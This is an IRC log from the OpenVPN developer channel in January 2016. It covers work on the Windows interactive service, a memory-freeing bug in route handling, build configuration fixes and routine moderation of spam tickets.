<@d12fk> HKLM\SOFTWARE\OpenVPN-GUI\log_dir needs to be prefixed with "%LOCALAPPDATA%\" 07:38 <@d12fk> but it proves that openvpn runs as your user 07:39 <@d12fk> not idea if that is a fatal error 07:40 <@cron2> uh 07:41 * cron2 has no HKLM\SOFTWARE\OpenVPN-GUI 07:41 <@cron2> (or this user has no rights, wait) 07:42 <@cron2> no 07:44 <@cron2> %LOCALAPPDATA%\ and then what? (recreating from scratch) 07:45 <@d12fk> whatever you like 07:46 <@d12fk> you can let ovpn put the log right there 07:46 <@cron2> so just "%LOCALAPPDATA%" and done, no trailing anything? 07:46 <@cron2> or with a backslash? 07:48 <@d12fk> no without trailing backslash 07:49 <@cron2> hrmph 07:49 <@vpnHelper> RSS Update - tickets: #650: Commands are routed though Crevalor <https://community.openvpn.net/openvpn/ticket/650> 07:49 <@cron2> OpenVPN-GUI or "just OpenVPN"? The service checks "OpenVPN" 07:49 <@cron2> (because it has no effect) 07:52 <@cron2> mmmh, neither 07:55 <@cron2> (but I'm not willign to let this distract me longer - just made openvpn\log\ world-writeable to see whether the *rest* is working) 07:55 <@vpnHelper> RSS Update - tickets: #650: spam <https://community.openvpn.net/openvpn/ticket/650> 07:56 <@cron2> ... and that works! as unprivileged user! hooray 07:58 <@plaisthos> wheee! 07:58 <@cron2> yep, cross-check done -> stop iservice, and it fails calling netsh.exe 07:59 * cron2 is happy so far :-) 08:00 <@cron2> d12fk: http://github.greenie.net/openvpn-236.git/ "iservice1" branch 08:00 <@cron2> this is basically just your patch after rebasing, but I want to integrate my and syzzer's review comments into that, so it is a bit preliminary 08:01 <@cron2> more work on this tonight... "Mittagschlaf" is over soon... 08:03 <@plaisthos> cron2: that link does not work me 08:03 <@plaisthos> fatal: repository 'http://github.greenie.net/openvpn-236.git/' not found 08:06 <@cron2> sorry, messed up ssh/git/http 08:06 <@cron2> git://github.greenie.net/openvpn-2 > 08:06 <@cron2> git://github.greenie.net/openvpn-236.git/ works 08:07 <@cron2> lots of intermediate this and that in there 08:17 <@plaisthos> yeah 08:17 <@d12fk> cron2: got it 08:17 <@plaisthos> don't look at the mess that my github openvpn repo is ;) 08:23 <@plaisthos> I could convert all the old release branches into tags probably 09:09 <@cron2> *scratch head* I think the iservice patch "as is" won't compile on non-windows - close_tun() grew a new argument (which I'm removing again :) ) and that never made it to the myriard non-WIN32 close_tun() functions 09:09 <@cron2> (which is the reason why I'm hiding the msg_channel in tt->options now) 09:11 <@plaisthos> iirc osx also has its own special utun_index in there 09:15 <@cron2> .oO(amazing how many bits are there taht are "WIN32 or Android") 09:15 * cron2 just rediscovered ifconfig_order() 09:31 <@plaisthos> cron2: :) 09:43 <@plaisthos> our configure does check every kind of nonsense but does not fail if openssl cannot be found without correct CFLAGS 09:55 <@cron2> you just do not understand the underlying wonders of configure! 10:09 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 10:15 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:33 -!- marlinc [~marlinc@unaffiliated/marlinc] has joined #openvpn-devel 10:34 < marlinc> Any chance of Kerberos or GSSAPI ticket based authentication support being added? Is that even possible in the protocol? 10:35 < marlinc> As far as I could one there was someone looking into that on a hackathon? 10:55 <@dazo> marlinc: I've done some preliminary research on that ... haven't had time to look at a real implementation yet. It isn't too trivial as it needs to fit into the openvpn wire protocol, plus GSSAPI requires some traffic going forth and back again a couple of times before you'll get a ticket 10:56 <@dazo> marlinc: The first stage attempt is to use GSSAPI, which can work well with KDC HTTPS proxies (and recent enough libkerb stuff which supports that) 10:57 <@dazo> next stage would be to allow the GSSAPI traffic to pass in over OpenVPN, where OpenVPN would act as a proxy 10:57 <@dazo> somewhat as a proxy at least 10:57 <@dazo> (we don't want to implement another proxy solution in libkerb) 10:58 <@dazo> (or libkrb5 to be exact) 10:58 <@dazo> A fully functional KDC HTTPS proxy can be found here: https://github.com/npmccallum/kdcproxy 10:58 <@vpnHelper> Title: npmccallum/kdcproxy - Python - GitHub (at github.com) 11:37 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 11:41 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 12:30 -!- dazo is now known as dazo_afk 13:12 <@cron2> so, rebased *and* overhauled code is the delta2 repo in branch "iservice2" now, and I'll send it to the list just now 13:23 <@mattock> whoa, do we actually get the interactive service in? 13:25 <@cron2> well, I've done all the work that syzzer set out to do in... uh... dunno... May or so :-) - so things are moving 13:26 <@cron2> there will be some changes regarding installer and registry keys, I think (from what did not work for me today), and the installer needs to activate the new service so it can be used without reboot 13:30 <@mattock> that stuff is fairly minor 13:33 <@cron2> just mentioning it :) 14:14 <@vpnHelper> RSS Update - tickets: #651: Wrong/Misleading error output <https://community.openvpn.net/openvpn/ticket/651> 15:03 <@d12fk> cron2: and then there this ntlm2 proxy server auth patch from holger floating around 15:03 <@d12fk> btw. i think coveritiy was right with the issue in the dynamic route patch 15:04 <@d12fk> at least the crash here is caused by it and just showed up due to the multilisten patch for whatever reason 15:05 <@vpnHelper> RSS Update - wishlistfeed: Prevent IP leakage when server offline <http://forums.openvpn.net/topic20853.html> 15:15 <@d12fk> problem is that the toplevel c->gc is freed before the route_list gc, so the actual list is in freed memory when accessed 15:19 <@cron2> d12fk: holger's patch is actually waiting for feedback from holger... syzzer reviewed it and some work needs doing :-) 15:19 <@cron2> d12fk: ouch (re gc freeing)... 15:20 <@d12fk> openvpn.c:311 frees the top gc and openvpn.c:328 accesses the route_list and tries to free its memory trough openvpn_exit()->tun_abort()->do_cose_tun()->delete_routes()->clear_route_list() 15:21 * cron2 makes a note but has no more brains left today to stare at code 15:21 <@d12fk> since there is no gc that lives that long te only olution is not to allocate the route list from the gc but with malloc directly (or putting it on the stack, which makes the code more ugly) 15:21 <@d12fk> yes my brain hurt finding that out today 15:22 <@d12fk> that patch has been in the product forever without openvpn dumoing core on us. c is such a wonderful language... =) 18:12 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 265 seconds] 23:03 * d12fk is convinced that this was broken in svn already after some git archeology 23:10 <@d12fk> commit introducing this was: 23:10 <@d12fk> commit 0c9eb1d3b3f9694c3bc3ad7cf8fdf7553789f93b 23:10 <@d12fk> Author: james <james@e7ae566f-a301-0410-adde-c780ea21d3b5> 23:10 <@d12fk> Date: Tue Jan 12 18:26:22 2010 +0000 23:10 <@d12fk> ^from James' svn 23:14 <@d12fk> so do we need a gc_arena that lasts until right before exit() or do we just plain alloc the route_list (not the route_ipv4/6) and don't care to free it before exit at all? 23:14 <@d12fk> or yet another nifty solution you come up with? --- Day changed Wed Jan 27 2016 01:40 * cron2 tends to "not free() stuff that lasts until exit() anyway", but as other parts of OpenVPN *do* clean up, it would be good habit to do so... 01:40 <@cron2> which means, "some sort of ever-lasting gc" 01:41 <@cron2> (and *that* brings up the question "where to store the pointer to it, so functions can access it without introducing yet extra arguments all over the place"... is the global context static, or "inside gc"?) 02:07 <@cron2> d12fk: yeah, archeology is sometimes quite enlightening... half-finished features... and sometimes even obscure bugs 02:20 <@d12fk> cron2: something like a global gc 02:24 <@cron2> yep... and store a pointer to it in the global context where it 02:24 <@cron2> is available about everywhere already... 02:24 <@cron2> (and do not destroy the global context before saving the gc pointer :) ) 03:24 -!- dazo_afk is now known as dazo 03:43 <@vpnHelper> RSS Update - tickets: #652: We pay for the finest recuperative King Size Male Enhancement <https://community.openvpn.net/openvpn/ticket/652> 04:01 <@d12fk> note: not queen size =) 04:26 < valdikss> Guys, I have two ideas of which I'd like to hear your opinions. 04:27 < valdikss> 1. Network Lock (Killswitch) functionality. I.e. prevent network access when OpenVPN is not activated. I can make it in Windows using WFP and on Linux using probably cgroups and iptables (can add support for other firewall wrappers too), but I'm not sure of other OS, like OS X and BSD. 04:28 < valdikss> 2. Configuration import dialog for Windows. When user clicks on .ovpn file, it should work just as in Android or iOS. 04:32 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 04:45 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 04:45 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:02 <@vpnHelper> RSS Update - tickets: #653: The second strongest cause King Size Male Enhancement <https://community.openvpn.net/openvpn/ticket/653> 05:07 <@vpnHelper> RSS Update - tickets: #653: spam <https://community.openvpn.net/openvpn/ticket/653> 05:15 <@d12fk> 1) is out of scope for ovpn imho 05:25 <@vpnHelper> RSS Update - tickets: #654: He grew occurring doings all King Size Male Enhancement <https://community.openvpn.net/openvpn/ticket/654> 05:28 <@plaisthos> and we have persistent-tun, which does this as long as openvpn runs and has been connected once 05:31 <@vpnHelper> RSS Update - tickets: #654: spam <https://community.openvpn.net/openvpn/ticket/654> 05:44 <@vpnHelper> RSS Update - tickets: #655: Start considering the block King Size Male Enhancement <https://community.openvpn.net/openvpn/ticket/655> 05:50 <@vpnHelper> RSS Update - tickets: #656: Start considering the block King Size Male Enhancement <https://community.openvpn.net/openvpn/ticket/656> 06:20 <@vpnHelper> RSS Update - tickets: #657: But the heavens is passably King Size Male Enhancement <https://community.openvpn.net/openvpn/ticket/657> 06:21 <@cron2> mattock/ecrist: can you block that user / that source net / wherever it is coming from? 06:26 <@vpnHelper> RSS Update - tickets: #658: The high responsibilities King Size Male Enhancement <https://community.openvpn.net/openvpn/ticket/658> 06:41 <@mattock> wow, King Size 06:42 <@mattock> cron2: I sent a lengthy "I disagree" post regarding openvpnserv2 06:42 <@mattock> be prepared 06:42 <@mattock> :) 06:42 <@mattock> let's see about Mr. King Size 06:45 <@mattock> ok, so I added a new Group to Trac called "spammers" 06:46 <@mattock> and gave it only the WIKI_VIEW permission 06:46 <@mattock> that should prevent persons in that category from doing anything destructive 06:46 <@mattock> or harmful 06:46 <@mattock> the permissions are much less than a non-authenticated user would have 06:50 <@mattock> all the spam tickets were removed 06:50 <@vpnHelper> RSS Update - tickets: #658: SPAM <https://community.openvpn.net/openvpn/ticket/658> || #657: SPAM <https://community.openvpn.net/openvpn/ticket/657> || #656: SPAM <https://community.openvpn.net/openvpn/ticket/656> || #655: SPAM <https://community.openvpn.net/openvpn/ticket/655> || #652: SPAM <https://community.openvpn.net/openvpn/ticket/652> 06:50 <@mattock> ah :) 07:22 <@ecrist> Was he asking for jumbo frame support? 07:22 <@mattock> ecrist: no, offering Jumbo Frames 07:23 <@mattock> he said most frames are tiny 07:23 <@mattock> and because of that women have trouble with them 07:23 <@cron2> mattock: it's nice that you're offering to co-maintain this, but given that you already have little time for your other chores (like, working on installer trac tickets...) I'm not sure if this will work out 07:24 * cron2 would be happy to not have to bother with any of this windows stuff, but in the end, it seems to land on my plate always... 07:28 <@mattock> well, I do have time, I just have to say "no" to our internal projects more often 07:28 <@cron2> now that sounds good :-) 07:28 <@mattock> I have been taking them because not much has been happening 2.4-vise 07:28 <@mattock> so I've had spare cycles as far the OpenVPN project is concerned 07:28 <@cron2> someone could have reviewed (or tested...) the iservice branch, some time in the last 14 months... 07:29 <@cron2> and, there's a few annoying installer bugs... *hint* *hint* :-) 07:29 <@mattock> yes, I know :) 07:29 <@mattock> many of those have been fixed already, but they're waiting for 2.4 07:30 <@mattock> too invasive to release in a 2.3.x -based installer 07:31 <@cron2> I'm not sure I agree with that - if the bugs are biting people in 2.3.x, they should be fixed for 2.3.x (which will be with us for quite a while) 07:32 <@mattock> well, I think there are only a few issues 07:32 <@mattock> the long-time favorite is the "openvpn-gui" registry keys are not created automatically 07:32 <@cron2> 32/64 bit mixup, ndis6 installer on xp 07:32 <@mattock> that has been partially fixed in 2.3.x by the "Launch OpenVPN-GUI" checkbox at the end of the install 07:32 <@mattock> yes, those are separate and can be fixed in 2.3.x-based installers with a fair amount of confidence 07:33 <@mattock> I was about to start working on those today 07:34 <@mattock> then the next favorites are: 07:34 <@mattock> - openvpnserv.exe does not really work on Windows 8.1 and up 07:34 <@mattock> - connections do not work after suspend 07:34 <@mattock> both are fixed by openvpnserv2 07:35 <@mattock> even though I bravely started writing a NSSM-based wrapper, I think it's a kludge 07:35 <@cron2> what does "does not really work" mean? 07:35 <@cron2> does it not start, or does it not start the openvpn.exe, or does it crash, ...? 07:35 <@mattock> can't recall the details, but they're all in Trac 07:35 <@mattock> ok, let's check 07:35 <@cron2> the suspend/resume is basically "just restart it", but I do not necessarily insist on openvpnserv1 - the API documentation/support issue is fairly compelling 07:36 <@cron2> but then we need to move iservice functionality into C# service as well 07:47 <@mattock> what is left of openvpnserv.exe after Heiko's interactive service patch? 07:47 <@mattock> all of it + more stuff? 07:48 <@cron2> mattock: it moved to "automatic.c", common bits are in "common.c" now, new stuff in "interactive.c" 07:48 <@cron2> so all of it is still there, and it knows how to set up either or both 07:48 <@cron2> ah 07:48 <@cron2> no 07:49 <@cron2> openvpnserv -install 07:49 <@cron2> will always install *both* services 07:49 <@cron2> openvpnserv -start 07:49 <@cron2> can now do "-start automatic" or "-start interactive" to start only one of them 08:07 <@cron2> kindergarten... 08:29 <@plaisthos> Idea for a new app logo of my app http://plai.de/.tmp/icon.png 12:05 -!- GrandMasta [32c9e50a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.229.10] has joined #openvpn-devel 13:02 <@cron2> https://motherboard.vice.com/read/cern-engineers-have-to-identify-and-disconnect-9000-obsolete-cables 13:21 < mator> ok'ay 13:22 < mator> give me a new windows installer with new gui / service separation? 13:22 < mator> thanks :) 13:27 * cron2 points at mattock :) 16:02 -!- saik0 [~saik0@unaffiliated/saik0] has quit [Quit: WeeChat 0.4.2] 17:29 -!- GrandMasta [32c9e50a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.229.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 19:08 -!- dazo is now known as dazo_afk 20:32 <@vpnHelper> RSS Update - gitrepo: configure.ac: fix polarssl autodetection <https://github.com/OpenVPN/openvpn/commit/417fe4a72c82accca8d95fb0488427f5b6dc4157> || configure.ac: simplify crypto library configuration <https://github.com/OpenVPN/openvpn/commit/31b0bebef61413151af9ded55aa985798d4f7666> || Clarify --block-outside-dns documentation <https://github.com/OpenVPN/openvpn/commit/cc4761fcafdeceea1a4b004f91c9fb47ef8b19c1> || Clarify mssfi --- Day changed Thu Jan 28 2016 01:47 <@cron2> mornin 02:53 < mator> hello 02:53 < mator> mattock, give new windows installer 09:48 <@cron2> https://mta.openssl.org/pipermail/openssl-announce/2016-January/000061.html 09:48 <@vpnHelper> Title: [openssl-announce] OpenSSL Security Advisory (at mta.openssl.org) 09:48 <@cron2> from my reading, we're not in danger... 09:50 <@plaisthos> no 09:55 <@plaisthos> and the openssl webserver is slow as hell 09:59 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 10:00 <@plaisthos> anyway, compiling 1.0.2f for 6 archictetures 10:01 <@cron2> 6? fun... 10:01 <@cron2> (arm, arm/64, intel, ...?) 10:01 <@plaisthos> arm64-v8a armeabi armeabi-v7a mips x86 x86_64 10:02 <@plaisthos> but I can probably drop mips 10:02 <@plaisthos> I think the mips android devices are few models to begin with ... 10:05 <@plaisthos> cron2: it is more the waiting experience than anything else ... 10:07 <@plaisthos> I bet the majority of arm64 installations of OpenVPN are mobile phones :) 10:14 * cron2 does not disagree :) 10:25 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 10:27 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 10:30 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Client Quit] 10:30 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 10:34 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Client Quit] 10:43 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 11:06 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 11:07 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 11:16 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 11:20 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 11:27 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 12:26 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 12:32 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 12:34 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 13:01 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 13:02 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 13:18 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 13:19 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 13:57 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 13:58 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 14:09 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 14:09 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 15:13 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 15:15 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 15:35 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 15:36 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 15:47 <@cron2> hrmph, openvpn is stupid software... I want to change server options without restarting server... (actually, only list of pushed routes)... 15:47 <@cron2> (ccd/default comes to mind, but still) 15:56 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 15:56 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 16:02 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 16:10 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 16:18 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 23:34 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 260 seconds] 23:41 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Fri Jan 29 2016 02:23 -!- dazo_afk is now known as dazo 04:14 < mator> give new windows installer! 04:14 < mator> :) 04:15 < mator> i'm a beta tester 04:15 < mator> nano tester 04:15 < mator> more modern name 04:33 <@mattock> mator: Windows installers based on latest Git "master" are here: http://build.openvpn.net/downloads/snapshots/ 04:33 <@vpnHelper> Title: Index of /downloads/snapshots/ (at build.openvpn.net) 04:35 <@mattock> every commit triggers a new build, so that's as recent as they come 04:35 <@dazo> ecrist: plaisthos: ping ... hiya is asking me for an un-mute ... http://fpaste.org/316145/14540635/ ... anything we should beware of? 04:38 <@cron2> mattock: he wants one with the iservice pathc applied... 04:43 < mator> mattock, just installed , GUI still asks me for a password 04:43 < mator> ffs 04:43 < mator> yea 04:43 < mator> thanks 04:54 <@cron2> mator: uh, GUI will always ask for a password if the config file needs one 04:54 <@cron2> the difference is that the GUI does not need to run with admin privs anymore 04:56 <@d12fk> it is more complex than this 04:57 <@d12fk> mattock merged a patch that queries for admin creds when the gui starts, so even with the iservice openvpn will currently run as admin 04:58 <@plaisthos> dazo: short form: he has basically no openvpn or networking knowlege, got his config working after 3 days and the next tried to charge users here to help them 04:58 <@d12fk> then also the service needs to be installed/started in the installer, log files ned to go to the user home instead of program files 04:59 <@dazo> plaisthos: thx ... I see ... He claims the $ was just a joke, but communication skills obviously lacks ... been skimming through irc logs since jan 16th 04:59 <@plaisthos> dazo: yesterday 13:26 (in CET) 05:00 <@dazo> yeah, saw that ... just wanted to see what else s/he said :) 05:00 <@plaisthos> dazo: kindly please cosider his case 05:00 <@plaisthos> *ducks* 05:00 <@dazo> heh 05:01 < mator> cron2, my config files only with static keys and certificates, no need for a password 05:01 <@dazo> plaisthos: I think a quiet quarantine for some more days are well warranted ... I'll have a chat with him regarding this. But also interested to hear ecrist or maybe even krzee thoughts too 05:02 <@dazo> (not too keen letting hiya loose on the channel soonish) 05:02 <@plaisthos> dazo: yeah my thoughts exactly 05:03 <@cron2> d12fk: could you write this up for mattock to adjust git master installers accordingly? 05:12 <@d12fk> cron2: is iservice in master? 05:33 <@cron2> d12fk: no, but "soon" - I'd love to have someone else (plaisthos?) review the changes to "openvpn", and someone to review the service (Selva?) 05:34 <@cron2> but the patch is on the list... so mattock could build iservice-enabled installers 05:34 <@cron2> it applies to master and worked for me... 05:40 <@mattock> yeah, I can generate test installers 05:42 <@mattock> d12fk: currently openvpn.exe raises privileges to HighestAvailable 05:44 <@mattock> that switch can be switched back when iservice is in 06:00 <@cron2> plaisthos: *poke* :-) - could you have a look at the openvpn parts of the iservice patch? I think this is all good, but since I reworked large parts, I want a second opinion... 06:01 < mator> mattock, where do i get patch for service and privilege drop for windows? i'm going to try to build openvpn myself 06:15 <@cron2> mator: openvpn-devel list 06:15 <@cron2> http://article.gmane.org/gmane.network.openvpn.devel/11027 06:16 <@vpnHelper> Title: Gmane -- PATCH v3 interactive service v3 (at article.gmane.org) 06:16 < mator> ok thanks 06:27 <@mattock> so what do we need for OpenVPN-GUI to make iservice work? 06:28 <@mattock> or will the GUI work automatically as expected with iservice? 06:44 <@plaisthos> cron2: Yeah I can do that 07:31 -!- dazo is now known as dazo_afk 07:50 <@d12fk> gui is prepared to work with the service 07:57 <@cron2> mattock: the GUI that you currently bundle handles this perfectly fine 07:57 <@cron2> I installed a normal 2.3.9 (I think) openvpn bundle and just replaced openvpn.exe + openvpnserv.exe 07:59 <@mattock> ok, great! 08:06 <@vpnHelper> RSS Update - tickets: #659: NCSI reports No Internet with block-outside-dns <https://community.openvpn.net/openvpn/ticket/659> 08:26 <@ecrist> dazo_afk: I've lifted the +q, hiya just needed a time out. 08:26 <@ecrist> His in-channel behavior was poor, but the aftermath via PM was far worse. 08:26 <@ecrist> Which is usually how those things go. 09:12 -!- dazo_afk is now known as dazo 09:14 <@dazo> ecrist: fair enough ... had a longer pm chat today, I hope that can help somewhat 09:14 <@ecrist> yeah, I chatted with him, as well. 09:14 <@ecrist> prior to lifting the +q 09:14 <@dazo> good! 09:14 <@ecrist> he reminds me a lot of a certain someone 09:15 <@dazo> me!? :-P 09:16 <@ecrist> lol, no 09:16 -!- Irssi: #openvpn-devel: Total of 26 nicks [9 ops, 0 halfops, 1 voices, 16 normal] 09:17 <@dazo> :) 09:22 <@cron2> mattock: build-snapshot is broken anyway :-) 09:23 <@cron2> you need to change from OPENSSL_SSL_CFLAGS/OPENSSL_CRYPTO_CFLAGS and _LIBS to just plaiN OPENSSL_LIBS= and OPENSSL_CFLAGS= 09:29 -!- dazo is now known as dazo_afk 09:30 -!- dazo_afk is now known as dazo 10:07 -!- dazo is now known as dazo_afk 11:15 <@mattock> cron2: ah, what triggered this breakage? 12:28 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has quit [Quit: Leaving.] 12:35 <@cron2> mattock: syzzer's configure.ac cleanup 12:36 <@cron2> commit 31b0bebef61413151af9ded55aa985798d4f7666 12:36 <@cron2> Author: Steffan Karger <steffan@karger.me> 12:36 <@cron2> configure.ac: simplify crypto library configuration 13:48 -!- dazo_afk is now known as dazo 14:49 -!- dazo is now known as dazo_afk 18:59 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 19:07 -!- Netsplit *.net <-> *.split quits: s7r --- Day changed Sat Jan 30 2016 07:46 -!- DarkSpectrum [~rob@pool-96-230-221-96.bstnma.fios.verizon.net] has joined #openvpn-devel 07:54 -!- DarkSpectrum [~rob@pool-96-230-221-96.bstnma.fios.verizon.net] has left #openvpn-devel ["Konversation terminated!"] 12:31 -!- roentgen [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel --- Day changed Sun Jan 31 2016 06:28 -!- Netsplit *.net <-> *.split quits: luckman212, arlen, eliasp, +krzee, EvilJStoker, floppym, s7r_, woodrow, siruf, roentgen, (+14 more, use /NETSPLIT to show all of them) 06:31 -!- roentgen [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel 06:31 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 06:31 -!- marlinc [~marlinc@unaffiliated/marlinc] has joined #openvpn-devel 06:31 -!- Netsplit over, joins: krzee, floppym, siruf 06:31 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 06:31 -!- wiz [~sid1@irc-gw.wiz.network] has joined #openvpn-devel 06:31 -!- Netsplit over, joins: @vpnHelper, @andj, EvilJStoker 06:31 -!- ServerMode/#openvpn-devel [+voo krzee andj vpnHelper] by asimov.freenode.net 06:32 -!- Netsplit over, joins: @d12fk, woodrow, @cron2, @dazo_afk, @syzzer 06:33 -!- Netsplit over, joins: esde 06:33 -!- Netsplit over, joins: s7r_, @plaisthos, rasengan, ender| 06:33 -!- Netsplit over, joins: mator 06:35 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 06:35 -!- valdikss [~valdikss@95.215.45.33] has joined #openvpn-devel 06:38 -!- valdikss [~valdikss@95.215.45.33] has quit [Quit: Bye!] 06:39 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Ping timeout: 272 seconds] 06:59 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 10:25 -!- roentgen [~roentgen@unaffiliated/roentgen] has quit [Quit: WeeChat 1.3] 11:45 -!- ValdikSS [~valdikss@95.215.45.33] has joined #openvpn-devel 12:27 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 13:50 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 13:58 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 245 seconds] 13:59 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 14:09 -!- roentgen [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel 14:19 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Read error: Connection reset by peer] 14:27 -!- Eagle_Erwin [~Erwin@erwinb.xs4all.nl] has joined #openvpn-devel 15:00 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 15:02 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Client Quit] 17:30 -!- d12fk [~heiko@exit0.net] has quit [Ping timeout: 250 seconds] 17:33 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 240 seconds] 17:35 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 17:35 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 17:46 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 17:57 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 240 seconds] 18:03 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 18:12 -!- woodrow [sid13914@gateway/web/irccloud.com/x-hjlagvgnqzxcpbkl] has quit [Read error: Connection reset by peer] 18:12 -!- woodrow [sid13914@gateway/web/irccloud.com/x-clzzqtrvcofysqpk] has joined #openvpn-devel 18:18 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 245 seconds] 18:35 -!- riddle [riddle@76.72.170.57] has joined 